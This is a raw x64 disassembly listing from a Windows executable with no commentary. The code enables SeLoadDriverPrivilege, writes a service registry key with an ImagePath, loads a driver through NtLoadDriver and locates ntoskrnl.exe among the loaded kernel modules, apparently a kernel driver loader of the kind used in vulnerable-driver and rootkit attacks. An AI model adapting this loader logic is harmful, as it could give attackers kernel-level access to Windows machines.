mov rdx, qword [rbp + 0x358]
cmp rdx, 0x10
jb 0x140008fad
inc rdx
mov rcx, qword [rbp + 0x340]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140008fa8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000b958
call fcn.140017930
xor r14d, r14d
mov qword [rbp + 0x350], r14
mov qword [rbp + 0x358], 0xf
mov byte [rbp + 0x340], r14b
test rdi, rdi
jne 0x140009887
jmp 0x140008ee0
mov qword [rbp + 0x2d0], r14
lea rdx, [rbp + 0x2d8]
cmp qword [rbp + 0x2f0], 8
cmovae rdx, qword [rbp + 0x2d8]
lea r8, [rbp + 0x2d0]
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
test eax, eax
jne 0x14000900c
mov bl, 1
jmp 0x14000906b
mov dword [rbp + 0x2c0], 1
mov rax, qword [rbp + 0x2d0]
mov qword [rbp + 0x2c4], rax
mov dword [rbp + 0x2cc], 2
mov qword [rsp + 0x28], r14
mov qword [rsp + 0x20], r14
mov r9d, 0x10
lea r8, [rbp + 0x2c0]
xor edx, edx
mov rcx, qword [rbp + 0x1c8]
call qword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
test eax, eax
jne 0x14000905c
mov bl, 1
jmp 0x14000906b
mov rcx, qword [rbp + 0x1c8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor bl, bl
mov rdx, qword [rbp + 0x2f0]
cmp rdx, 8
jb 0x1400090b1
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x2d8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400090ac
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000b95e
call fcn.140017930
mov qword [rbp + 0x2e8], r14
mov qword [rbp + 0x2f0], 7
mov word [rbp + 0x2d8], r14w
test bl, bl
je 0x1400090d6
xor bl, bl
jmp 0x140009607
lea rax, [rbp + 0x490]
cmp qword [rbp + 0x4a8], 0x10
cmovae rax, qword [rbp + 0x490]
mov qword [rbp + 0x220], rax
mov rax, qword [rbp + 0x4a0]
mov qword [rbp + 0x228], rax
call fcn.140015830
movaps xmm0, xmmword [rbp + 0x220]
movdqa xmmword [rbp + 0x220], xmm0
lea r8, [rbp + 0x220]
mov edx, eax
lea rcx, [rsp + 0x60]
call fcn.140004970
nop
mov qword [rbp + 0x200], r14
mov qword [rbp + 0x210], r14
mov qword [rbp + 0x218], 7
mov word [rbp + 0x200], r14w
mov dword [rbp + 0x238], 0x1f7d
lea rdx, [rsp + 0x60]
lea rcx, [rbp + 0x200]
call fcn.140005600
test eax, eax
jne 0x14000b964
lea rdx, [rbp - 0x48]
lea rcx, [rbp + 0x200]
call fcn.140004ad0
nop
mov r8, rax
lea rcx, [rbp + 0x2a0]
call fcn.140010140
mov rbx, rax
mov qword [rbp + 0x240], r14
mov qword [rbp + 0x250], r14
mov qword [rbp + 0x258], 0xf
mov byte [rbp + 0x240], 0
mov r8d, 0x22
lea rdx, str.SystemCurrentControlSetServices_
lea rcx, [rbp + 0x240]
call fcn.140002810
nop
lea rdx, [rbp + 0x4b0]
lea rcx, [rbp + 0x240]
call fcn.14000cf90
lea rdx, [rbp + 0x240]
cmp qword [rbp + 0x258], 0x10
cmovae rdx, qword [rbp + 0x240]
lea r8, [rbp + 0x1f8]
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
test eax, eax
je 0x140009255
mov rdx, qword [rbp + 0x258]
cmp rdx, 0x10
jb 0x14000924e
inc rdx
mov rcx, qword [rbp + 0x240]
cmp rdx, 0x1000
mov rax, rcx
jb 0x140009249
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000b978
call fcn.140017930
xor bl, bl
jmp 0x1400093a3
mov byte [rbp + 0x1f1], 1
mov dword [rsp + 0x28], 4
lea rax, [rbp + 0x1f1]
mov qword [rsp + 0x20], rax
mov r9d, 4
xor r8d, r8d
lea rdx, str.Type
mov rcx, qword [rbp + 0x1f8]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x14000920d
mov byte [rbp + 0x1f2], 3
mov dword [rsp + 0x28], 4
lea rax, [rbp + 0x1f2]
mov qword [rsp + 0x20], rax
mov r9d, 4
xor r8d, r8d
lea rdx, str.ErrorControl
mov rcx, qword [rbp + 0x1f8]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x14000920d
mov byte [rbp + 0x1f3], 3
mov dword [rsp + 0x28], 4
lea rax, [rbp + 0x1f3]
mov qword [rsp + 0x20], rax
mov r9d, 4
xor r8d, r8d
lea rdx, str.Start
mov rcx, qword [rbp + 0x1f8]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x14000920d
mov eax, dword [rbx + 0x10]
cmp qword [rbx + 0x18], 0x10
jb 0x140009322
mov rbx, qword [rbx]
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rbx
mov r9d, 1
xor r8d, r8d
lea rdx, str.ImagePath
mov rcx, qword [rbp + 0x1f8]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x14000920d
mov rcx, qword [rbp + 0x1f8]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
test eax, eax
sete bl
mov rdx, qword [rbp + 0x258]
cmp rdx, 0x10
jb 0x1400093a3
inc rdx
mov rcx, qword [rbp + 0x240]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000939e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000b978
call fcn.140017930
mov byte [rbp + 0x240], 0
mov qword [rbp + 0x258], 0xf
mov qword [rbp + 0x250], r14
mov rdx, qword [rbp + 0x2b8]
cmp rdx, 0x10
jb 0x1400093fd
inc rdx
mov rcx, qword [rbp + 0x2a0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400093f8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000b97e
call fcn.140017930
mov qword [rbp + 0x2b0], r14
mov qword [rbp + 0x2b8], 0xf
mov byte [rbp + 0x2a0], 0
mov rdx, qword [rbp - 0x30]
cmp rdx, 0x10
jb 0x140009451
inc rdx
mov rcx, qword [rbp - 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000944c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000b984
call fcn.140017930
mov qword [rbp - 0x38], r14
mov qword [rbp - 0x30], 0xf
mov byte [rbp - 0x48], 0
mov r13d, 0xf7d
mov dword [rbp + 0x238], r13d
mov rdx, qword [rbp + 0x218]
cmp rdx, 8
jb 0x1400094b4
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x200]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400094af
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000b98a
call fcn.140017930
mov qword [rbp + 0x210], r14
mov qword [rbp + 0x218], 7
mov word [rbp + 0x200], r14w
mov rdx, qword [rsp + 0x78]
cmp rdx, 8
jb 0x140009510
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000950b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000b990
call fcn.140017930
mov qword [rsp + 0x70], r14
mov qword [rsp + 0x78], 7
mov word [rsp + 0x60], r14w
test bl, bl
je 0x140009607
mov qword [rbp + 0x300], r14
mov qword [rbp + 0x310], r14
mov qword [rbp + 0x318], 0xf
mov byte [rbp + 0x300], 0
mov r8d, 0x34
lea rdx, str.RegistryMachineSystemCurrentControlSetServices_
lea rcx, [rbp + 0x300]
call fcn.140002810
nop
lea rdx, [rbp + 0x4b0]
lea rcx, [rbp + 0x300]
call fcn.14000cf90
lea rdx, [rbp + 0x300]
cmp qword [rbp + 0x318], 0x10
cmovae rdx, qword [rbp + 0x300]
lea rcx, [rbp + 0x320]
call qword [sym.imp.ntdll.dll_RtlInitAnsiString]
mov r8b, 1
lea rdx, [rbp + 0x320]
lea rcx, [rbp + 0x330]
call qword [sym.imp.ntdll.dll_RtlAnsiStringToUnicodeString]
lea rcx, [rbp + 0x330]
call qword [sym.imp.ntdll.dll_NtLoadDriver]
test eax, eax
sete bl
mov rdx, qword [rbp + 0x318]
cmp rdx, 0x10
jb 0x140009607
inc rdx
mov rcx, qword [rbp + 0x300]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140009602
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000b990
call fcn.140017930
test bl, bl
jne 0x140009617
lea rcx, [0x14006bd98]
jmp 0x1400097a3
lea r14, [rbp + 0x4b0]
cmp qword [rbp + 0x4c8], 0x10
cmovae r14, qword [rbp + 0x4b0]
xor r12d, r12d
mov ebx, r12d
mov dword [rbp + 0x1d4], r12d
lea r9, [rbp + 0x1d4]
xor r8d, r8d
xor edx, edx
lea ecx, [rdx + 0xb]
call qword [sym.imp.ntdll.dll_NtQuerySystemInformation]
cmp eax, 0xc0000004
jne 0x1400096af
nop word [rax + rax]
xor edx, edx
mov r8d, 0x8000
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov edx, dword [rbp + 0x1d4]
xor ecx, ecx
lea r9d, [rcx + 4]
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rbx, rax
lea r9, [rbp + 0x1d4]
mov r8d, dword [rbp + 0x1d4]
mov rdx, rax
mov ecx, 0xb
call qword [sym.imp.ntdll.dll_NtQuerySystemInformation]
cmp eax, 0xc0000004
je 0x140009660
test eax, eax
js 0x14000978b
mov edi, r12d
cmp dword [rbx], r12d
jbe 0x14000978b
nop dword [rax]
nop word [rax + rax]
mov esi, edi
imul rcx, rsi, 0x128
movzx eax, word [rbx + rcx + 0x2e]
add rax, rbx
lea rdx, [rcx + 0x30]
add rdx, rax
mov qword [rbp + 0x360], r12
mov qword [rbp + 0x370], r12
mov qword [rbp + 0x378], 0xf
mov r8, r15
inc r8
cmp byte [rdx + r8], r12b
jne 0x140009704
lea rcx, [rbp + 0x360]
call fcn.140002810
lea rcx, [rbp + 0x360]
cmp qword [rbp + 0x378], 0x10
cmovae rcx, qword [rbp + 0x360]
mov rdx, r14
call fcn.140020974
test eax, eax
je 0x1400097f9
mov rdx, qword [rbp + 0x378]
cmp rdx, 0x10
jb 0x140009781
inc rdx
mov rcx, qword [rbp + 0x360]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000977c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000b996
call fcn.140017930
inc edi
cmp edi, dword [rbx]
jb 0x1400096d0
mov r8d, 0x8000
xor edx, edx
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFree]
lea rcx, [0x14006bdb8]
call fcn.140003ac0
mov qword [rbp + 0x1c8], r15
mov rsi, r15
lea rcx, [rbp + 0x490]
call fcn.140006f40
nop
lea rcx, [rbp + 0x470]
call fcn.14000cf00
nop
lea rcx, [rbp + 0x9a0]
call fcn.140006ff0
nop
lea rcx, [rbp + 0x530]
call fcn.140007090
nop
lea rcx, [rbp + 0x670]
call fcn.140006ff0
mov eax, esi
jmp 0x14000b82a
imul rax, rsi, 0x128
mov rdi, qword [rax + rbx + 0x18]
xor edx, edx
mov r8d, 0x8000
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov rdx, qword [rbp + 0x378]
cmp rdx, 0x10
jb 0x140009857
inc rdx
mov rcx, qword [rbp + 0x360]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140009852
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000b996
call fcn.140017930
xor r14d, r14d
mov qword [rbp + 0x370], r14
mov qword [rbp + 0x378], 0xf
mov byte [rbp + 0x360], r12b
test rdi, rdi
je 0x14000979c
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov r12d, dword [rbp + 0x4d0]
add r12, rdi
mov r15d, 4
mov rax, qword gs:[0x58]
add r15, qword [rax]
mov eax, dword [r15]
cmp dword [0x1400761c0], eax
jle 0x140009ab0
lea rcx, [0x1400761c0]
call fcn.140017d80
cmp dword [0x1400761c0], 0xffffffff
jne 0x140009ab0
mov rbx, r14
mov dword [rbp + 0x1f8], r14d
lea r9, [rbp + 0x1f8]
xor r8d, r8d
xor edx, edx
lea ecx, [rdx + 0xb]
call qword [sym.imp.ntdll.dll_NtQuerySystemInformation]
cmp eax, 0xc0000004
jne 0x140009940
xor edx, edx
mov r8d, 0x8000
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov edx, dword [rbp + 0x1f8]
xor ecx, ecx
lea r9d, [rcx + 4]
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rbx, rax
lea r9, [rbp + 0x1f8]
mov r8d, dword [rbp + 0x1f8]
mov rdx, rax
mov ecx, 0xb
call qword [sym.imp.ntdll.dll_NtQuerySystemInformation]
cmp eax, 0xc0000004
je 0x1400098f1
test eax, eax
jns 0x140009961
xor edx, edx
mov r8d, 0x8000
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov rsi, 0xffffffffffffffff
jmp 0x140009a4e
mov edi, r14d
mov rsi, 0xffffffffffffffff
cmp dword [rbx], 0
jbe 0x140009a3c
nop dword [rax]
nop dword [rax + rax]
mov eax, edi
imul rcx, rax, 0x128
movzx eax, word [rbx + rcx + 0x2e]
add rax, rbx
lea rdx, [rcx + 0x30]
add rdx, rax
mov qword [rbp + 0x200], r14
mov qword [rbp + 0x210], r14
mov qword [rbp + 0x218], 0xf
mov r8, rsi
inc r8
cmp byte [rdx + r8], 0
jne 0x1400099b4
lea rcx, [rbp + 0x200]
call fcn.140002810
lea rcx, [rbp + 0x200]
cmp qword [rbp + 0x218], 0x10
cmovae rcx, qword [rbp + 0x200]
lea rdx, str.ntoskrnl.exe
call fcn.140020974
test eax, eax
je 0x140009a5c
mov rdx, qword [rbp + 0x218]
cmp rdx, 0x10
jb 0x140009a32
inc rdx
mov rcx, qword [rbp + 0x200]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140009a2d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000b99c
call fcn.140017930
inc edi
cmp edi, dword [rbx]
jb 0x140009980
xor edx, edx
mov r8d, 0x8000
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFree]
nop
lea rcx, [0x1400761c0]
call fcn.140017d20
jmp 0x140009ab7
xor edx, edx
mov r8d, 0x8000
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov rdx, qword [rbp + 0x218]
cmp rdx, 0x10
jb 0x140009a4e
inc rdx
mov rcx, qword [rbp + 0x200]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140009aa9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000b99c
call fcn.140017930
jmp 0x140009a4e
mov rsi, 0xffffffffffffffff
mov eax, dword [r15]
cmp dword [0x1400761d4], eax
jle 0x140009aef
lea rcx, [0x1400761d4]
call fcn.140017d80
cmp dword [0x1400761d4], 0xffffffff
jne 0x140009aef
call fcn.140005a30
mov qword [0x1400761b8], rax
lea rcx, [0x1400761d4]
call fcn.140017d20
mov eax, dword [r15]
cmp dword [0x1400761e8], eax
jle 0x140009b27
lea rcx, [0x1400761e8]
call fcn.140017d80
cmp dword [0x1400761e8], 0xffffffff
jne 0x140009b27
call fcn.140006000
mov qword [0x1400761f0], rax
lea rcx, [0x1400761e8]
call fcn.140017d20
cmp qword [0x1400761b8], 0
je 0x14000b7fc
cmp qword [0x1400761f0], 0
je 0x14000b7fc
lea rcx, str.user32.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x3d0], xmm0
mov qword [rbp + 0x3e0], rax
lea r9, [rsp + 0x51]
lea r8, [0x140058cf0]
lea rdx, [0x140052ed0]
lea rcx, [rbp + 0x3d0]
call fcn.1400103a0
nop
lea rbx, [0x14006bb30]
mov qword [rbp + 0x1e8], rbx
lea rcx, [rbp + 0x58]
call fcn.1400059e0
nop
lea rdx, [rbp + 0x78]
mov rcx, rax
call fcn.140004ad0
nop
lea r8, [0x140052cfc]
mov rdx, rax
lea rcx, [rbp + 0x98]
call fcn.140010270
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x2d8]
call fcn.140010270
nop
mov rdx, qword [rbp + 0xb0]
cmp rdx, 0x10
jb 0x140009c13
inc rdx
mov rcx, qword [rbp + 0x98]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140009c0e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000b9a2
call fcn.140017930
mov qword [rbp + 0xa8], r14
mov qword [rbp + 0xb0], 0xf
mov byte [rbp + 0x98], 0
mov rdx, qword [rbp + 0x90]
cmp rdx, 0x10
jb 0x140009c6a
inc rdx
mov rcx, qword [rbp + 0x78]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140009c65
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000b9a8
call fcn.140017930
mov qword [rbp + 0x88], r14
mov qword [rbp + 0x90], 0xf
mov byte [rbp + 0x78], 0
mov rdx, qword [rbp + 0x70]
cmp rdx, 8
jb 0x140009cc0
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140009cbb
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000b9ae
call fcn.140017930
mov qword [rbp + 0x68], r14
mov qword [rbp + 0x70], 7
mov word [rbp + 0x58], r14w
xor edx, edx
mov r8d, pe_nt_image_headers64
lea rcx, [rbp + 0x780]
call fcn.14001ce50
lea rdx, [rbp + 0x2d8]
cmp qword [rbp + 0x2f0], 0x10
cmovae rdx, qword [rbp + 0x2d8]
mov dword [rsp + 0x20], 1
mov r9d, 0x40
lea r8d, [r9 - 0x20]
lea rcx, [rbp + 0x780]
call fcn.14000ba40
nop
lea rcx, [rbp + 0x3d0]
call fcn.14000cee0
mov rbx, rax
lea rcx, [rbp + 0x3d0]
call fcn.14000cef0
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x780]
call fcn.14000bb50
lea rcx, [rbp + 0x788]
call fcn.14000e420
test rax, rax
jne 0x140009d7c
mov rax, qword [rbp + 0x780]
movsxd rcx, dword [rax + 4]
lea rax, [rbp + 0x780]
add rcx, rax
mov edx, dword [rcx + 0x10]
or edx, 2
xor r8d, r8d
call fcn.14000e8e0
mov qword [rsp + 0x60], r14
mov qword [rsp + 0x70], r14
mov qword [rsp + 0x78], 0xf
mov byte [rsp + 0x60], 0
mov rdx, qword [rbp + 0x1e8]
mov r8, rsi
nop
inc r8
cmp byte [rdx + r8], 0
jne 0x140009da0
lea rcx, [rsp + 0x60]
call fcn.140002810
nop
mov qword [rbp + 0x300], r14
mov qword [rbp + 0x310], r14
mov qword [rbp + 0x318], 7
mov r8d, 0x15
lea rdx, str.SeLoadDriverPrivilege
lea rcx, [rbp + 0x300]
call fcn.14000e970
mov qword [rbp + 0x1e0], r14
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
lea r8, [rbp + 0x1e0]
mov edx, 0x28
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
jne 0x140009e14
mov bl, 1
jmp 0x140009ea8
mov qword [rbp + 0x3c8], r14
lea rdx, [rbp + 0x300]
cmp qword [rbp + 0x318], 8
cmovae rdx, qword [rbp + 0x300]
lea r8, [rbp + 0x3c8]
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
test eax, eax
jne 0x140009e49
mov bl, 1
jmp 0x140009ea8
mov dword [rbp + 0x320], 1
mov rax, qword [rbp + 0x3c8]
mov qword [rbp + 0x324], rax
mov dword [rbp + 0x32c], 2
mov qword [rsp + 0x28], r14
mov qword [rsp + 0x20], r14
mov r9d, 0x10
lea r8, [rbp + 0x320]
xor edx, edx
mov rcx, qword [rbp + 0x1e0]
call qword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
test eax, eax
jne 0x140009e99
mov bl, 1
jmp 0x140009ea8
mov rcx, qword [rbp + 0x1e0]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor bl, bl
mov rdx, qword [rbp + 0x318]
cmp rdx, 8
jb 0x140009eee
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x300]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140009ee9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000b9b4
call fcn.140017930
mov qword [rbp + 0x310], r14
mov qword [rbp + 0x318], 7
mov word [rbp + 0x300], r14w
test bl, bl
je 0x140009f13
xor bl, bl
jmp 0x14000a438
lea rax, [rbp + 0x2d8]
cmp qword [rbp + 0x2f0], 0x10
cmovae rax, qword [rbp + 0x2d8]
mov qword [rbp + 0x220], rax
mov rax, qword [rbp + 0x2e8]
mov qword [rbp + 0x228], rax
call fcn.140015830
movaps xmm0, xmmword [rbp + 0x220]
movdqa xmmword [rbp + 0x220], xmm0
lea r8, [rbp + 0x220]
mov edx, eax
lea rcx, [rbp + 0x18]
call fcn.140004970
or r13d, 0x30000
mov qword [rbp - 8], r14
mov qword [rbp + 8], r14
mov qword [rbp + 0x10], 7
mov word [rbp - 8], r14w
bts r13d, 0x12
mov dword [rbp + 0x238], r13d
lea rdx, [rbp + 0x18]
lea rcx, [rbp - 8]
call fcn.140005600
test eax, eax
jne 0x14000b9ba
lea rdx, [rbp + 0x158]
lea rcx, [rbp - 8]
call fcn.140004ad0
nop
mov r8, rax
lea rcx, [rbp + 0x38]
call fcn.140010140
mov rbx, rax
mov qword [rbp + 0x260], r14
mov qword [rbp + 0x270], r14
mov qword [rbp + 0x278], 0xf
mov byte [rbp + 0x260], 0
mov r8d, 0x22
lea rdx, str.SystemCurrentControlSetServices_
lea rcx, [rbp + 0x260]
call fcn.140002810
nop
lea rdx, [rsp + 0x60]
lea rcx, [rbp + 0x260]
call fcn.14000cf90
lea rdx, [rbp + 0x260]
cmp qword [rbp + 0x278], 0x10
cmovae rdx, qword [rbp + 0x260]
lea r8, [rbp + 0x1d8]
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
test eax, eax
je 0x14000a084
mov rdx, qword [rbp + 0x278]
cmp rdx, 0x10
jb 0x14000a07d
inc rdx
mov rcx, qword [rbp + 0x260]
cmp rdx, 0x1000
mov rax, rcx
jb 0x14000a078
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000b9cd
call fcn.140017930
xor bl, bl
jmp 0x14000a1d2
mov byte [rbp + 0x1f3], 1
mov dword [rsp + 0x28], 4
lea rax, [rbp + 0x1f3]
mov qword [rsp + 0x20], rax
mov r9d, 4
xor r8d, r8d
lea rdx, str.Type
mov rcx, qword [rbp + 0x1d8]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x14000a03c
mov byte [rbp + 0x1f2], 3
mov dword [rsp + 0x28], 4
lea rax, [rbp + 0x1f2]
mov qword [rsp + 0x20], rax
mov r9d, 4
xor r8d, r8d
lea rdx, str.ErrorControl
mov rcx, qword [rbp + 0x1d8]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x14000a03c
mov byte [rbp + 0x1f1], 3
mov dword [rsp + 0x28], 4
lea rax, [rbp + 0x1f1]
mov qword [rsp + 0x20], rax
mov r9d, 4
xor r8d, r8d
lea rdx, str.Start
mov rcx, qword [rbp + 0x1d8]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x14000a03c
mov eax, dword [rbx + 0x10]
cmp qword [rbx + 0x18], 0x10
jb 0x14000a151
mov rbx, qword [rbx]
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rbx
mov r9d, 1
xor r8d, r8d
lea rdx, str.ImagePath
mov rcx, qword [rbp + 0x1d8]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x14000a03c
mov rcx, qword [rbp + 0x1d8]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
test eax, eax
sete bl
mov rdx, qword [rbp + 0x278]
cmp rdx, 0x10
jb 0x14000a1d2
inc rdx
mov rcx, qword [rbp + 0x260]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000a1cd
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000b9cd
call fcn.140017930
mov byte [rbp + 0x260], 0
mov qword [rbp + 0x278], 0xf
mov qword [rbp + 0x270], r14
mov rdx, qword [rbp + 0x50]
cmp rdx, 0x10
jb 0x14000a226
inc rdx
mov rcx, qword [rbp + 0x38]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000a221
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000b9d3
call fcn.140017930
mov qword [rbp + 0x48], r14
mov qword [rbp + 0x50], 0xf
mov byte [rbp + 0x38], 0
mov rdx, qword [rbp + 0x170]
cmp rdx, 0x10
jb 0x14000a277
inc rdx
mov rcx, qword [rbp + 0x158]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000a272
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000b9d9
call fcn.140017930
mov qword [rbp + 0x168], r14
mov qword [rbp + 0x170], 0xf
mov byte [rbp + 0x158], 0
btr r13d, 0x12
mov dword [rbp + 0x238], r13d
mov rdx, qword [rbp + 0x10]
cmp rdx, 8
jb 0x14000a2dc
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000a2d7
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000b9df
call fcn.140017930
mov qword [rbp + 8], r14
mov qword [rbp + 0x10], 7
mov word [rbp - 8], r14w
mov rdx, qword [rbp + 0x30]
cmp rdx, 8
jb 0x14000a32d
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x18]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000a328
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000b9e5
call fcn.140017930
mov qword [rbp + 0x28], r14
mov qword [rbp + 0x30], 7
mov word [rbp + 0x18], r14w
test bl, bl
je 0x14000a438
mov qword [rbp + 0x3a0], r14
mov qword [rbp + 0x3b0], r14
mov qword [rbp + 0x3b8], 0xf
mov byte [rbp + 0x3a0], 0
mov r8d, 0x34
lea rdx, str.RegistryMachineSystemCurrentControlSetServices_
lea rcx, [rbp + 0x3a0]
call fcn.140002810
nop
lea rdx, [rsp + 0x60]
lea rcx, [rbp + 0x3a0]
call fcn.14000cf90
lea rdx, [rbp + 0x3a0]
cmp qword [rbp + 0x3b8], 0x10
cmovae rdx, qword [rbp + 0x3a0]
lea rcx, [rbp + 0x640]
call qword [sym.imp.ntdll.dll_RtlInitAnsiString]
mov r8b, 1
lea rdx, [rbp + 0x640]
lea rcx, [rbp + 0x650]
call qword [sym.imp.ntdll.dll_RtlAnsiStringToUnicodeString]
lea rcx, [rbp + 0x650]
call qword [sym.imp.ntdll.dll_NtLoadDriver]
test eax, eax
sete bl
mov rdx, qword [rbp + 0x3b8]
cmp rdx, 0x10
jb 0x14000a41f
inc rdx
mov rcx, qword [rbp + 0x3a0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000a41a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000b9e5
call fcn.140017930
mov qword [rbp + 0x3b0], r14
mov qword [rbp + 0x3b8], 0xf
mov byte [rbp + 0x3a0], 0
mov byte [rsp + 0x40], bl
lea r8, [rbp + 0x1e8]
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0x500]
call fcn.140010340
bts r13d, 0xf
